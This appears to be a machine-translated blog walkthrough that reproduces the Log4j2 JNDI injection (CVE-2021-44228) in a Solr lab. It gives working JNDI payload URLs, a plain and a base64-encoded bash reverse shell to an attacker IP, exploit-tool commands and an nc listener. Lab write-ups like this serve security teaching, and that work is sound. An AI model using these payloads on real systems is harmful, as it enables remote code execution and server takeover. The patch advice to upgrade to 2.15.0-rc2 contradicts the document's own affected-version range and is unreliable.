Log4j2 - Reaparición de vulnerabilidad de inyección JNDI (CVE-2021-44228)

Introducción a Apache Log4j

Apache log4j es un proyecto de código abierto de Apache y Apache log4j2 es una herramienta de registro para Java. Esta herramienta reescribe el marco log4j e introduce una gran cantidad de características enriquecidas. Podemos controlar el destino de la transmisión de información de registro como consola, archivo, componente GUI, etc. Al definir el nivel de cada información de registro, podemos controlar el proceso de generación de registro con más detalle.

Introducción a la vulnerabilidad

Existe una vulnerabilidad de inyección JNDI en log4j2, que puede activarse cuando el programa registra los datos ingresados ​​por el usuario. La explotación exitosa de esta vulnerabilidad podría conducir a la ejecución de código arbitrario en el servidor de destino.

Versión afectada

Apache Log4j2 2.0-beta9 - 2.15.0 (excluyendo las versiones de seguridad 2.12.2, 2.12.3 y 2.3.1)

Número de vulnerabilidad

CVE-2021-44228

Afecta a la aplicación del componente

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2

Preparación ambiental

entorno de prueba IP
Kali 192.168.174.128
dron objetivo 192.168.174.131

Construcción de campo de tiro

Use vulhub para la construcción de campos de tiro, si no sabe cómo usarlo, lea los artículos anteriores.

Docker construye un campo de tiro de vulnerabilidad (Vulhub, Vulnapp, Vulfocus)

Use la ventana acoplable para construir un campo de tiro de vulnerabilidad de vulfocus

cd vulhub-master/log4j/CVE-2021-44228

docker-compose up -d

Acceso al navegador http://192.168.174.131:8983/, la implementación del campo de tiro es exitosa

explotar

Prueba POC, aparece la siguiente interfaz, puede haber una vulnerabilidad de inyección JNDI en log4j2

http://192.168.174.131:8983/solr/admin/cores?action=1

Intente acceder a dnslog, hay registros de acceso, hay una vulnerabilidad de inyección JNDI en log4j2

Sitio web de dnslog
https://www.callback.red/

El poc es el siguiente:

http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vx9w.callback.red}

usar herramientas

Log4j2 - Herramienta de explotación de inyección JNDI

Cómo utilizar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

Operación de caparazón de rebote

comando de shell inverso

bash -i >& /dev/tcp/ip/port 0>&1

Aquí, la máquina de ataque kali construye un comando de shell inverso

bash -i >& /dev/tcp/192.168.174.128/9999 0>&1

Codifique este comando en Java Runtime Bash

sitio de codificación

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

El comando codificado se ingresa a la herramienta JNDI a través del parámetro -C, y la dirección IP de kali se especifica a través del parámetro -A

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.174.128

Consigue la EXP del caparazón inverso

Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.174.128:1099/dctv93
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/fngumm
ldap://192.168.174.128:1389/fngumm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/bnntjh
ldap://192.168.174.128:1389/bnntjh

El atacante escucha en el puerto 9999

nc -lvvp 9999

Enviar EXP

http://192.168.174.131:8983/solr/admin/cores?action=${jndi:rmi://192.168.174.128:1099/gw42ym}
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.174.128:1389/gw42ym}

El shell inverso es exitoso

Sugerencias para corregir errores

升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

Supongo que te gusta

Origin blog.csdn.net/weixin_44971640/article/details/130953327
Recomendado
Clasificación